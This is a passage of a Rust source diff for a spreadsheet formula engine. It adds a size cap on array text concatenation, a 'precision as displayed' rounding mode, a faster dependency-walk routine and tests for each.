if rows.iter().any(|row| row.len() != w) {
|
||||
return err(CellError::Value);
|
||||
}
|
||||
let mut data = Vec::with_capacity(h * w);
|
||||
for row in rows {
|
||||
for el in row {
|
||||
|
||||
@@ -86,6 +86,30 @@ pub fn zip2(a: &Value, b: &Value, f: impl Fn(&Value, &Value) -> Value) -> Value
|
||||
}
|
||||
}
|
||||
|
||||
/// [`zip2`] that stops at the first cell `f` refuses (`None`), before the rest is built: the
|
||||
/// result grows as cells are made rather than being reserved for the whole broadcast up front.
|
||||
fn try_zip2(a: &Value, b: &Value, mut f: impl FnMut(&Value, &Value) -> Option<Value>) -> Option<Value> {
|
||||
Some(match (a, b) {
|
||||
(Value::Array(x), Value::Array(y)) => {
|
||||
let rows = broadcast_dim(x.rows, y.rows);
|
||||
let cols = broadcast_dim(x.cols, y.cols);
|
||||
if broadcast_len(rows, cols).is_none() {
|
||||
return Some(Value::Error(CellError::Num));
|
||||
}
|
||||
let mut data = Vec::new();
|
||||
for r in 0..rows {
|
||||
for c in 0..cols {
|
||||
data.push(f(&x.get_broadcast(r, c), &y.get_broadcast(r, c))?);
|
||||
}
|
||||
}
|
||||
Value::from(Array { rows, cols, data })
|
||||
}
|
||||
(Value::Array(x), s) => Value::from(Array { rows: x.rows, cols: x.cols, data: x.data.iter().map(|v| f(v, s)).collect::<Option<_>>()? }),
|
||||
(s, Value::Array(y)) => Value::from(Array { rows: y.rows, cols: y.cols, data: y.data.iter().map(|v| f(s, v)).collect::<Option<_>>()? }),
|
||||
(x, y) => f(x, y)?,
|
||||
})
|
||||
}
|
||||
|
||||
/// Cell count of a `rows`×`cols` broadcast result, or `None` when it would exceed [`MAX_CELLS`].
|
||||
/// Each operand passes its own size cap, but their broadcast product can be far larger
|
||||
/// (`SEQUENCE(1048576)*SEQUENCE(1,16384)` is 17 billion cells), so it is checked before allocating.
|
||||
@@ -135,10 +159,36 @@ pub(super) fn single(v: Value) -> Option<Value> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Text bytes that one `&` over arrays may produce in all. Each piece is capped on its own, but a
|
||||
/// compact formula can broadcast a long text across millions of cells
|
||||
/// (`SEQUENCE(4000,4000)&REPT("x",30000)` is 480 GB): past this the whole result is `#NUM!`, the
|
||||
/// error for a result too large to hold, before the rest is built.
|
||||
pub(super) const MAX_CONCAT_ARRAY_BYTES: usize = 512 * 1024 * 1024;
|
||||
|
||||
pub fn binary_values(op: BinOp, x: &Value, y: &Value, sys: gridcraft_core::DateSystem) -> Value {
|
||||
if op == BinOp::Concat && (matches!(x, Value::Array(_)) || matches!(y, Value::Array(_))) {
|
||||
return concat_arrays(x, y, sys, MAX_CONCAT_ARRAY_BYTES);
|
||||
}
|
||||
zip2(x, y, |a, b| binary_scalar(op, a, b, sys))
|
||||
}
|
||||
|
||||
/// `x & y` with at least one array operand, giving `#NUM!` once the texts built so far pass `budget`
|
||||
/// bytes.
|
||||
fn concat_arrays(x: &Value, y: &Value, sys: gridcraft_core::DateSystem, budget: usize) -> Value {
|
||||
let mut used = 0usize;
|
||||
try_zip2(x, y, |a, b| {
|
||||
let v = binary_scalar(BinOp::Concat, a, b, sys);
|
||||
if let Value::Text(t) = &v {
|
||||
used = used.saturating_add(t.len());
|
||||
if used > budget {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
Some(v)
|
||||
})
|
||||
.unwrap_or(Value::Error(CellError::Num))
|
||||
}
|
||||
|
||||
fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSystem) -> Value {
|
||||
if let Value::Error(e) = a {
|
||||
return Value::Error(*e);
|
||||
@@ -187,7 +237,35 @@ fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSyste
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::{MAX_CELLS, broadcast_len};
|
||||
use super::{Array, BinOp, CellError, MAX_CELLS, Value, broadcast_len, concat_arrays, try_zip2};
|
||||
|
||||
/// The broadcast stops at the first refused cell: nothing after it is visited.
|
||||
#[test]
|
||||
fn a_refused_cell_stops_the_broadcast() {
|
||||
let col = Value::from(Array::column((0..4_000).map(|i| Value::number(i as f64)).collect()));
|
||||
let row = Value::from(Array { rows: 1, cols: 4_000, data: (0..4_000).map(|i| Value::number(i as f64)).collect() });
|
||||
let mut calls = 0;
|
||||
let r = try_zip2(&col, &row, |a, _| {
|
||||
calls += 1;
|
||||
(calls <= 10).then(|| a.clone())
|
||||
});
|
||||
assert_eq!((r, calls), (None, 11));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn concatenating_arrays_stops_at_the_byte_budget() {
|
||||
let sys = gridcraft_core::DateSystem::default();
|
||||
let col = Value::from(Array::column((0..100).map(|i| Value::number(i as f64)).collect()));
|
||||
let long = Value::text("x".repeat(100));
|
||||
// 100 cells of 101 or 102 bytes each: about 10 KB in all.
|
||||
let r = concat_arrays(&col, &long, sys, 20_000);
|
||||
assert!(matches!(&r, Value::Array(a) if a.data.len() == 100), "{r:?}");
|
||||
assert_eq!(concat_arrays(&col, &long, sys, 5_000), Value::Error(CellError::Num));
|
||||
assert_eq!(concat_arrays(&long, &col, sys, 5_000), Value::Error(CellError::Num));
|
||||
// Through the operator, a small result is unaffected.
|
||||
let r = super::binary_values(BinOp::Concat, &col, &Value::text("a"), sys);
|
||||
assert!(matches!(&r, Value::Array(a) if a.data.first() == Some(&Value::text("0a"))), "{r:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn broadcast_len_caps_at_max_cells() {
|
||||
|
||||
@@ -4,10 +4,12 @@
|
||||
#![forbid(unsafe_code)]
|
||||
|
||||
pub mod eval;
|
||||
mod precision;
|
||||
pub mod recalc;
|
||||
mod trimrange;
|
||||
|
||||
pub use eval::{Area, SPECIAL_FUNCTIONS, is_known_function};
|
||||
pub use precision::DisplayedPrecision;
|
||||
pub use recalc::{Calc, Key, evaluate, now_serial};
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
//! "Set precision as displayed" (File › Options › Advanced; `fullPrecision="0"` in `.xlsx`,
|
||||
//! CalcPrecision in `.xls`): with it on, a number is stored as its cell's number format shows it,
|
||||
//! and formulas read those rounded values. The rounding itself is the number format crate's
|
||||
//! ([`gridcraft_numfmt::NumberFormat::round_as_displayed`]); this module looks up each cell's
|
||||
//! format, parsing every style's code once.
|
||||
|
||||
use std::collections::HashMap;
|
||||
|
||||
use gridcraft_core::{CellRef, Value};
|
||||
use gridcraft_model::{StyleId, Workbook};
|
||||
use gridcraft_numfmt::NumberFormat;
|
||||
|
||||
/// Rounds values to their cell's displayed precision, remembering each style's parsed format.
|
||||
/// Styles don't change while it is used (one recalculation pass, one sweep of a workbook).
|
||||
#[derive(Default)]
|
||||
pub struct DisplayedPrecision {
|
||||
/// Parsed format per style; `None` for General, which keeps the full value.
|
||||
formats: HashMap<StyleId, Option<NumberFormat>>,
|
||||
}
|
||||
|
||||
impl DisplayedPrecision {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
|
||||
/// `n` as the format of `c` on sheet `sheet` displays it (the cell's own style, else its
|
||||
/// row's, else its column's, as the grid shows it).
|
||||
pub fn round(&mut self, wb: &Workbook, sheet: usize, c: CellRef, n: f64) -> f64 {
|
||||
let Some(sh) = wb.sheet(sheet) else { return n };
|
||||
let id = sh.style_id(c);
|
||||
let fmt = self.formats.entry(id).or_insert_with(|| {
|
||||
let f = NumberFormat::parse_cached(wb.styles.get(id).num_fmt.as_str());
|
||||
(!f.is_general()).then_some(f)
|
||||
});
|
||||
match fmt {
|
||||
Some(f) => f.round_as_displayed(n),
|
||||
None => n,
|
||||
}
|
||||
}
|
||||
|
||||
/// Like [`DisplayedPrecision::round`] for a value: only numbers change.
|
||||
pub fn round_value(&mut self, wb: &Workbook, sheet: usize, c: CellRef, v: Value) -> Value {
|
||||
match v {
|
||||
Value::Number(n) => {
|
||||
let r = self.round(wb, sheet, c, n);
|
||||
// Bit-equal results keep the value as it was (no needless change for undo/diffs).
|
||||
if r.to_bits() == n.to_bits() { Value::Number(n) } else { Value::Number(r) }
|
||||
}
|
||||
v => v,
|
||||
}
|
||||
}
|
||||
}
|
||||
+178
-14
@@ -24,7 +24,7 @@ mod pass_host;
|
||||
#[cfg(test)]
|
||||
use graph::Intervals;
|
||||
pub use graph::{FxHasher, Graph, Key};
|
||||
use graph::{HashMap, HashSet, Node};
|
||||
use graph::{HashMap, HashSet, Node, Taken};
|
||||
use pass_host::{PassHost, spills_as_before};
|
||||
|
||||
/// Calculation state kept beside a workbook.
|
||||
@@ -292,17 +292,16 @@ impl Calc {
|
||||
}
|
||||
}
|
||||
}
|
||||
// Spill areas of changed anchors also change.
|
||||
// Spill areas of changed anchors also change. They stay rectangles: one seed per spilled
|
||||
// cell listed the formulas reading the area once per cell.
|
||||
let mut areas: Vec<(usize, RangeRef)> = cleared;
|
||||
for &k in changed {
|
||||
if let Some(r) = wb.sheet(k.0).and_then(|s| s.spill_ranges.get(&k.1)) {
|
||||
seeds.extend(r.iter().map(|c| (k.0, c)));
|
||||
areas.push((k.0, *r));
|
||||
}
|
||||
}
|
||||
for (si, r) in &cleared {
|
||||
seeds.extend(r.iter().map(|c| (*si, c)));
|
||||
}
|
||||
let t0 = prof_now();
|
||||
let dirty = self.dirty_closure(wb, &seeds);
|
||||
let dirty = self.dirty_closure(wb, &seeds, &areas);
|
||||
let t1 = prof_now();
|
||||
let n = dirty.len();
|
||||
self.run(wb, dirty, false);
|
||||
@@ -311,16 +310,39 @@ impl Calc {
|
||||
}
|
||||
}
|
||||
|
||||
fn dirty_closure(&self, _wb: &Workbook, seeds: &[Key]) -> Vec<Key> {
|
||||
/// The formulas to recalculate after `seeds` and every cell of `areas` changed: the seeds
|
||||
/// that are formulas, and everything that reads them, directly or through other formulas.
|
||||
fn dirty_closure(&self, wb: &Workbook, seeds: &[Key], areas: &[(usize, RangeRef)]) -> Vec<Key> {
|
||||
let mut seen: HashSet<Key> = HashSet::default();
|
||||
let mut queue: VecDeque<Key> = VecDeque::new();
|
||||
// Each range-index entry is listed once in the whole walk: many changed cells under one
|
||||
// broad reference (or many formulas inside one) would otherwise list every formula reading
|
||||
// it once per cell, which squared the work.
|
||||
let mut taken = Taken::default();
|
||||
let mut deps = Vec::new();
|
||||
for k in seeds {
|
||||
if self.graph.nodes.contains_key(k) && seen.insert(*k) {
|
||||
queue.push_back(*k);
|
||||
}
|
||||
let mut deps = Vec::new();
|
||||
self.graph.dependents(k.0, k.1, &mut deps);
|
||||
for d in deps {
|
||||
deps.clear();
|
||||
self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps);
|
||||
for d in deps.drain(..) {
|
||||
if seen.insert(d) {
|
||||
queue.push_back(d);
|
||||
}
|
||||
}
|
||||
}
|
||||
for &(si, r) in areas {
|
||||
if let Some(sh) = wb.sheet(si) {
|
||||
for (c, _) in sh.cells.iter_range(r) {
|
||||
if self.graph.nodes.contains_key(&(si, c)) && seen.insert((si, c)) {
|
||||
queue.push_back((si, c));
|
||||
}
|
||||
}
|
||||
}
|
||||
deps.clear();
|
||||
self.graph.dependents_of_range(si, r, &mut deps);
|
||||
for d in deps.drain(..) {
|
||||
if seen.insert(d) {
|
||||
queue.push_back(d);
|
||||
}
|
||||
@@ -331,10 +353,9 @@ impl Calc {
|
||||
queue.push_back(*k);
|
||||
}
|
||||
}
|
||||
let mut deps = Vec::new();
|
||||
while let Some(k) = queue.pop_front() {
|
||||
deps.clear();
|
||||
self.graph.dependents(k.0, k.1, &mut deps);
|
||||
self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps);
|
||||
for d in deps.drain(..) {
|
||||
if seen.insert(d) {
|
||||
queue.push_back(d);
|
||||
@@ -411,7 +432,7 @@ impl Calc {
|
||||
if spill_changes.is_empty() {
|
||||
break;
|
||||
}
|
||||
dirty = self.dirty_closure(wb, &spill_changes);
|
||||
dirty = self.dirty_closure(wb, &spill_changes, &[]);
|
||||
}
|
||||
// Loops among formulas the run did not evaluate stay listed while they are still formulas.
|
||||
// Iterative calculation reports none.
|
||||
@@ -691,6 +712,149 @@ pub(crate) mod tests {
|
||||
assert!(visited < 64, "visited {visited} nodes for no match");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn untaken_queries_list_each_interval_once_in_all() {
|
||||
// 1,000 ranges over every row of 5,000: point queries at every row used to list all 1,000
|
||||
// each time (5 million matches); sharing `taken`, each range is listed once in all.
|
||||
let n = 5_000u32;
|
||||
let mut iv: Intervals<u32> = Intervals::default();
|
||||
for t in 0..1_000 {
|
||||
iv.insert(0, n, t);
|
||||
}
|
||||
for r in 0..n {
|
||||
iv.insert(r, r, 10_000 + r);
|
||||
}
|
||||
iv.settle();
|
||||
let mut taken = Vec::new();
|
||||
let mut listed = Vec::new();
|
||||
for row in 0..=n + 3 {
|
||||
iv.query_untaken(row, row, &mut taken, &mut |t| {
|
||||
listed.push(*t);
|
||||
true
|
||||
});
|
||||
}
|
||||
listed.sort_unstable();
|
||||
let want: Vec<u32> = (0..1_000).chain(10_000..10_000 + n).collect();
|
||||
assert_eq!(listed, want);
|
||||
// An entry the caller declines is offered again.
|
||||
let mut taken = Vec::new();
|
||||
let mut offered = 0;
|
||||
for _ in 0..3 {
|
||||
iv.query_untaken(7, 7, &mut taken, &mut |t| {
|
||||
if *t == 10_007 {
|
||||
offered += 1;
|
||||
}
|
||||
*t != 10_007
|
||||
});
|
||||
}
|
||||
assert_eq!(offered, 3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn dirty_closure_matches_a_walk_of_every_cell() {
|
||||
// Random formulas over single cells, narrow ranges and wide (over 64 columns) ranges, some
|
||||
// removed or left unsettled: the closure equals the one found by listing every dependent
|
||||
// of every changed cell, area cells included, as before `taken` and areas existed.
|
||||
use super::{HashSet, Node};
|
||||
use crate::eval::Area;
|
||||
use std::collections::VecDeque;
|
||||
let mut s = 0x2545_F491_4F6C_DD1D;
|
||||
for case in 0..40 {
|
||||
let mut wb = Workbook::new();
|
||||
let mut calc = Calc::new();
|
||||
let pick = |s: &mut u64, n: u64| (rng(s) % n) as u32;
|
||||
let mut keys: Vec<Key> = Vec::new();
|
||||
for _ in 0..300 {
|
||||
let k = (0, CellRef::new(pick(&mut s, 120), pick(&mut s, 150)));
|
||||
let mut areas = Vec::new();
|
||||
for _ in 0..1 + pick(&mut s, 3) {
|
||||
let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150));
|
||||
let end = match pick(&mut s, 3) {
|
||||
0 => start,
|
||||
1 => CellRef::new(start.row + pick(&mut s, 40), start.col + pick(&mut s, 5)),
|
||||
_ => CellRef::new(start.row + pick(&mut s, 20), start.col + 65 + pick(&mut s, 30)),
|
||||
};
|
||||
areas.push(Area { sheet: 0, range: RangeRef::new(start, end) });
|
||||
}
|
||||
if let Some(sh) = wb.sheet_mut(0) {
|
||||
sh.cells.set(k.1, Cell::formula(Formula::new("=1")));
|
||||
}
|
||||
calc.graph.insert(k, Node { areas, dynamic: false });
|
||||
keys.push(k);
|
||||
if rng(&mut s).is_multiple_of(7) {
|
||||
calc.graph.settle();
|
||||
}
|
||||
}
|
||||
for _ in 0..30 {
|
||||
let k = keys[(rng(&mut s) % keys.len() as u64) as usize];
|
||||
calc.graph.remove(k);
|
||||
if let Some(sh) = wb.sheet_mut(0) {
|
||||
sh.cells.remove(k.1);
|
||||
}
|
||||
}
|
||||
if case % 2 == 0 {
|
||||
calc.graph.settle();
|
||||
}
|
||||
let seeds: Vec<Key> = (0..1 + pick(&mut s, 25)).map(|_| (0, CellRef::new(pick(&mut s, 140), pick(&mut s, 220)))).collect();
|
||||
let areas: Vec<(usize, RangeRef)> = (0..pick(&mut s, 3))
|
||||
.map(|_| {
|
||||
let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150));
|
||||
(0, RangeRef::new(start, CellRef::new(start.row + pick(&mut s, 30), start.col + pick(&mut s, 80))))
|
||||
})
|
||||
.collect();
|
||||
let got: HashSet<Key> = calc.dirty_closure(&wb, &seeds, &areas).into_iter().collect();
|
||||
// The walk before: every area cell is a seed, and every cell lists all its dependents.
|
||||
let mut all = seeds.clone();
|
||||
for (si, r) in &areas {
|
||||
all.extend(r.iter().map(|c| (*si, c)));
|
||||
}
|
||||
let mut want: HashSet<Key> = HashSet::default();
|
||||
let mut queue: VecDeque<Key> = VecDeque::new();
|
||||
let mut deps = Vec::new();
|
||||
for k in &all {
|
||||
if calc.graph.nodes.contains_key(k) && want.insert(*k) {
|
||||
queue.push_back(*k);
|
||||
}
|
||||
deps.clear();
|
||||
calc.graph.dependents(k.0, k.1, &mut deps);
|
||||
queue.extend(deps.iter().copied().filter(|d| want.insert(*d)));
|
||||
}
|
||||
while let Some(k) = queue.pop_front() {
|
||||
deps.clear();
|
||||
calc.graph.dependents(k.0, k.1, &mut deps);
|
||||
queue.extend(deps.iter().copied().filter(|d| want.insert(*d)));
|
||||
}
|
||||
assert_eq!(got, want, "case {case}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn clearing_a_spill_recalculates_formulas_reading_it_once_each() {
|
||||
// 300 formulas read the area an anchor spills into; clearing the anchor changes all of it
|
||||
// and every one of them is recalculated (they were listed once per spilled cell).
|
||||
let mut wb = Workbook::new();
|
||||
let mut calc = Calc::new();
|
||||
let set = |wb: &mut Workbook, calc: &mut Calc, at: CellRef, input: &str| {
|
||||
if let Some(sh) = wb.sheet_mut(0) {
|
||||
if input.is_empty() {
|
||||
sh.cells.remove(at);
|
||||
} else {
|
||||
sh.cells.set(at, Cell::formula(Formula::new(input)));
|
||||
}
|
||||
}
|
||||
calc.cells_changed(wb, &[(0, at)]);
|
||||
};
|
||||
set(&mut wb, &mut calc, CellRef::new(0, 0), "=SEQUENCE(2000)");
|
||||
for r in 0..300 {
|
||||
set(&mut wb, &mut calc, CellRef::new(r, 2), "=COUNT(A1:A2000)");
|
||||
}
|
||||
assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(299, 2))), Some(Value::Number(2000.0)));
|
||||
set(&mut wb, &mut calc, CellRef::new(0, 0), "");
|
||||
for r in 0..300 {
|
||||
assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(r, 2))), Some(Value::Number(0.0)), "row {r}");
|
||||
}
|
||||
}
|
||||
|
||||
/// `rows` rows of six numbers (E:J) and `=SUM(E{r}:J{r})` in K.
|
||||
fn sum_rows(rows: u32) -> Workbook {
|
||||
let mut wb = Workbook::new();
|
||||
|
||||
@@ -151,6 +151,54 @@ impl<T: Copy + Ord> Intervals<T> {
|
||||
self.walk(1, 0, self.max_end.len() / 2, p, a, f)
|
||||
}
|
||||
|
||||
/// [`Intervals::query`] that skips entries an earlier call with the same `taken` already
|
||||
/// took (and whole subtrees of them), so that a series of queries lists each interval once in
|
||||
/// all. `f` answers whether it took the entry; one it declines is offered again later.
|
||||
/// `taken` belongs to this index as it is now; start it empty. Pending insertions (a few at
|
||||
/// most after [`Intervals::settle`]) are offered every time.
|
||||
pub(super) fn query_untaken(&self, a: u32, b: u32, taken: &mut Vec<bool>, f: &mut dyn FnMut(&T) -> bool) {
|
||||
for it in &self.pending {
|
||||
if it.0 <= b && it.1 >= a {
|
||||
f(&it.2);
|
||||
}
|
||||
}
|
||||
let p = self.items.partition_point(|it| it.0 <= b);
|
||||
if p == 0 {
|
||||
return;
|
||||
}
|
||||
if taken.len() != self.max_end.len() {
|
||||
*taken = vec![false; self.max_end.len()];
|
||||
}
|
||||
self.walk_untaken(1, 0, self.max_end.len() / 2, p, a, taken, f);
|
||||
}
|
||||
|
||||
/// Returns whether everything under `node` has now been reported (or is dead).
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn walk_untaken(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, taken: &mut [bool], f: &mut dyn FnMut(&T) -> bool) -> bool {
|
||||
if taken.get(node).copied().unwrap_or(true) {
|
||||
return true;
|
||||
}
|
||||
if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) {
|
||||
return false;
|
||||
}
|
||||
let done = if hi - lo <= 1 {
|
||||
match (self.items.get(lo), self.dead.get(lo)) {
|
||||
(Some(it), Some(false)) if it.1 >= a => f(&it.2),
|
||||
(Some(_), Some(true)) => true,
|
||||
_ => false,
|
||||
}
|
||||
} else {
|
||||
let mid = lo + (hi - lo) / 2;
|
||||
let left = self.walk_untaken(2 * node, lo, mid, p, a, taken, f);
|
||||
let right = self.walk_untaken(2 * node + 1, mid, hi, p, a, taken, f);
|
||||
left && right
|
||||
};
|
||||
if done && let Some(slot) = taken.get_mut(node) {
|
||||
*slot = true;
|
||||
}
|
||||
done
|
||||
}
|
||||
|
||||
fn walk(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, f: &mut dyn FnMut(&T)) -> usize {
|
||||
if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) {
|
||||
return 1;
|
||||
@@ -168,6 +216,13 @@ impl<T: Copy + Ord> Intervals<T> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Range-index entries one dependency walk has already listed (see [`Graph::dependents_untaken`]).
|
||||
#[derive(Default)]
|
||||
pub(super) struct Taken {
|
||||
cols: HashMap<(usize, u32), Vec<bool>>,
|
||||
wide: HashMap<usize, Vec<bool>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Default)]
|
||||
pub struct Graph {
|
||||
pub(super) nodes: HashMap<Key, Node>,
|
||||
@@ -302,6 +357,32 @@ impl Graph {
|
||||
}
|
||||
}
|
||||
|
||||
/// [`Graph::dependents`] leaving out the formulas whose range reads an earlier call with the
|
||||
/// same `taken` already listed. A walk over many changed cells that a few broad ranges cover
|
||||
/// then lists those formulas once, instead of once per cell (which squared the work). The
|
||||
/// graph must not change while `taken` is in use.
|
||||
pub(super) fn dependents_untaken(&self, sheet: usize, c: CellRef, taken: &mut Taken, out: &mut Vec<Key>) {
|
||||
if let Some(v) = self.cell_deps.get(&(sheet, c)) {
|
||||
out.extend(v.iter().copied());
|
||||
}
|
||||
if let Some(v) = self.col_deps.get(&(sheet, c.col)) {
|
||||
v.query_untaken(c.row, c.row, taken.cols.entry((sheet, c.col)).or_default(), &mut |k| {
|
||||
out.push(*k);
|
||||
true
|
||||
});
|
||||
}
|
||||
if let Some(v) = self.wide_deps.get(&sheet) {
|
||||
// A wide entry is taken once it covers the cell's column too.
|
||||
v.query_untaken(c.row, c.row, taken.wide.entry(sheet).or_default(), &mut |(c0, c1, k)| {
|
||||
let hit = *c0 <= c.col && c.col <= *c1;
|
||||
if hit {
|
||||
out.push(*k);
|
||||
}
|
||||
hit
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
/// Formulas that read any cell of `range` (a formula can be listed more than once).
|
||||
pub fn dependents_of_range(&self, sheet: usize, range: RangeRef, out: &mut Vec<Key>) {
|
||||
if range.count() <= 4096 {
|
||||
|
||||
@@ -64,6 +64,9 @@ pub(super) struct PassHost<'a> {
|
||||
pub(super) tainted: HashSet<Key>,
|
||||
/// Whether the formula being evaluated has read a previous value.
|
||||
taint: bool,
|
||||
/// "Set precision as displayed" is on: results are rounded to their cells' formats before
|
||||
/// they are stored or read by other formulas.
|
||||
precision: Option<crate::DisplayedPrecision>,
|
||||
/// `stack_position()` where the outermost formula being calculated started.
|
||||
stack_top: usize,
|
||||
/// Whether an evaluation ran past the stack budget since the innermost formula started.
|
||||
@@ -104,6 +107,7 @@ impl<'a> PassHost<'a> {
|
||||
members: HashSet::default(),
|
||||
tainted: HashSet::default(),
|
||||
taint: false,
|
||||
precision: wb.calc.precision_as_displayed.then(crate::DisplayedPrecision::new),
|
||||
stack_top: 0,
|
||||
out_of_stack: false,
|
||||
python: HashMap::default(),
|
||||
@@ -344,6 +348,23 @@ impl PassHost<'_> {
|
||||
let data = a.data.iter().map(|x| if matches!(x, Value::Empty) { Value::Number(0.0) } else { x.clone() }).collect();
|
||||
Array::new(a.rows, a.cols, data).map(std::sync::Arc::new).unwrap_or(a)
|
||||
};
|
||||
// Precision as displayed: each element takes the format of the cell it lands in.
|
||||
let a = match self.precision.as_mut() {
|
||||
Some(p) if a.data.iter().any(|x| matches!(x, Value::Number(_))) => {
|
||||
let cols = a.cols.max(1);
|
||||
let data = a
|
||||
.data
|
||||
.iter()
|
||||
.enumerate()
|
||||
.map(|(i, x)| {
|
||||
let at = CellRef::new(k.1.row.saturating_add((i / cols) as u32), k.1.col.saturating_add((i % cols) as u32));
|
||||
p.round_value(self.wb, k.0, at, x.clone())
|
||||
})
|
||||
.collect();
|
||||
Array::new(a.rows, a.cols, data).map(std::sync::Arc::new).unwrap_or(a)
|
||||
}
|
||||
_ => a,
|
||||
};
|
||||
// A dynamic-array formula anchors a spill range even while its result is one
|
||||
// value -- a FILTER matching one row, a SORT or UNIQUE over one item -- so `C1#`
|
||||
// is the 1 x 1 range and `ROWS(C1#)` is 1, as in Excel (#1491). A formula that
|
||||
@@ -352,6 +373,10 @@ impl PassHost<'_> {
|
||||
a.data.first().cloned().unwrap_or_default()
|
||||
}
|
||||
Value::Empty => Value::Number(0.0),
|
||||
v @ Value::Number(_) => match self.precision.as_mut() {
|
||||
Some(p) => p.round_value(self.wb, k.0, k.1, v),
|
||||
None => v,
|
||||
},
|
||||
v => v,
|
||||
};
|
||||
// An array that can't spill is #SPILL! for the formulas evaluated after it in this pass too.
|
||||
|
||||
@@ -1922,6 +1922,72 @@ fn offset_extreme_arguments_return_ref() {
|
||||
}
|
||||
}
|
||||
|
||||
/// "Set precision as displayed": results are rounded to their cell's format before they are
|
||||
/// stored and before other formulas read them. Values observed in Excel (COM,
|
||||
/// `Workbook.PrecisionAsDisplayed = True`) with the same synthetic formulas.
|
||||
#[test]
|
||||
fn precision_as_displayed_rounds_results_by_cell_format() {
|
||||
let fmt = |t: &mut T, at: &str, code: &str| {
|
||||
let id = t.wb.styles.intern(gridcraft_model::Style { num_fmt: gridcraft_model::NumFmt::new(code), ..Default::default() });
|
||||
t.wb.sheet_mut(0).unwrap().set_style(c(at), id);
|
||||
};
|
||||
let mut t = T::new();
|
||||
t.set("A1", "=-130+657.91");
|
||||
t.set("A2", "=A1*10");
|
||||
t.set("A3", "=A1/7");
|
||||
// Cross-cell: E2 rounds what it reads from E1; E1 itself (General) keeps full precision.
|
||||
t.set("E1", "=10/3");
|
||||
t.set("E2", "=E1");
|
||||
t.set("E3", "=E2*10");
|
||||
t.set("E4", "=E1*10");
|
||||
// A spill: each element takes the format of the cell it lands in.
|
||||
t.set("F1", "=SEQUENCE(3,1,0.123,0.111)");
|
||||
t.set("G4", "=SUM(F1:F3)");
|
||||
t.set("H1", "=TRUE");
|
||||
t.set("H2", "=\"1.5\"");
|
||||
// A conditional format rounds by the sign's section, not the one displayed: `[<1]0.00;0`
|
||||
// shows 2+1/3 as `2` but stores 2.33, and stores -10/3 as -3.
|
||||
t.set("J1", "=2+1/3");
|
||||
t.set("J2", "=-10/3");
|
||||
t.set("K1", "=J1*3");
|
||||
t.set("K2", "=J2*3");
|
||||
fmt(&mut t, "J1", "[<1]0.00;0");
|
||||
fmt(&mut t, "J2", "[<1]0.00;0");
|
||||
fmt(&mut t, "A1", "0");
|
||||
fmt(&mut t, "A3", "0.0000");
|
||||
fmt(&mut t, "E2", "0");
|
||||
fmt(&mut t, "F1", "0.0");
|
||||
fmt(&mut t, "F2", "0.0");
|
||||
fmt(&mut t, "H1", "0");
|
||||
fmt(&mut t, "H2", "0");
|
||||
// Off: formats don't change values.
|
||||
t.calc.recalc_all(&mut t.wb);
|
||||
assert_eq!(t.num("A1"), -130.0 + 657.91);
|
||||
assert_eq!(t.num("E2"), 10.0 / 3.0);
|
||||
t.wb.calc.precision_as_displayed = true;
|
||||
t.calc.recalc_all(&mut t.wb);
|
||||
assert_eq!((t.num("A1"), t.num("A2"), t.num("A3")), (528.0, 5280.0, 75.4286));
|
||||
assert_eq!((t.num("E1"), t.num("E2"), t.num("E3"), t.num("E4")), (10.0 / 3.0, 3.0, 30.0, 10.0 / 3.0 * 10.0));
|
||||
let sh = t.wb.sheet(0).unwrap();
|
||||
assert_eq!(
|
||||
(sh.value(c("F1")), sh.value(c("F2")), sh.value(c("F3"))),
|
||||
(Value::Number(0.1), Value::Number(0.2), Value::Number(0.123 + 0.111 * 2.0))
|
||||
);
|
||||
assert_eq!(t.num("G4"), 0.1 + 0.2 + (0.123 + 0.111 * 2.0));
|
||||
assert_eq!((t.num("J1"), t.num("J2"), t.num("K1"), t.num("K2")), (2.33, -3.0, 2.33 * 3.0, -9.0));
|
||||
// Booleans and text are left alone.
|
||||
assert_eq!((t.get("H1"), t.get("H2")), (Value::Bool(true), Value::from("1.5")));
|
||||
// An edit recalculates through the rounded values too.
|
||||
t.set("A1", "=-130+657.41");
|
||||
fmt(&mut t, "A1", "0");
|
||||
t.calc.cells_changed(&mut t.wb, &[(0, c("A1"))]);
|
||||
assert_eq!((t.num("A1"), t.num("A2")), (527.0, 5270.0));
|
||||
// Off again: a recalculation brings back full precision.
|
||||
t.wb.calc.precision_as_displayed = false;
|
||||
t.calc.recalc_all(&mut t.wb);
|
||||
assert_eq!(t.num("A2"), (-130.0 + 657.41) * 10.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn analysis_toolpak_value_params_reject_multi_cell_references() {
|
||||
// Excel 365 (observed): EOMONTH, WORKDAY, COUPDAYS, BIN2DEC... give #VALUE! for a reference to more
|
||||
|
||||
@@ -19,7 +19,7 @@ mod trend;
|
||||
|
||||
use cartesian::{cartesian, scatter};
|
||||
use frame::{Bx, axis_titles, chart_title};
|
||||
use kinds::{box_whisker, funnel, histogram, pie, radar, stock, treemap, waterfall};
|
||||
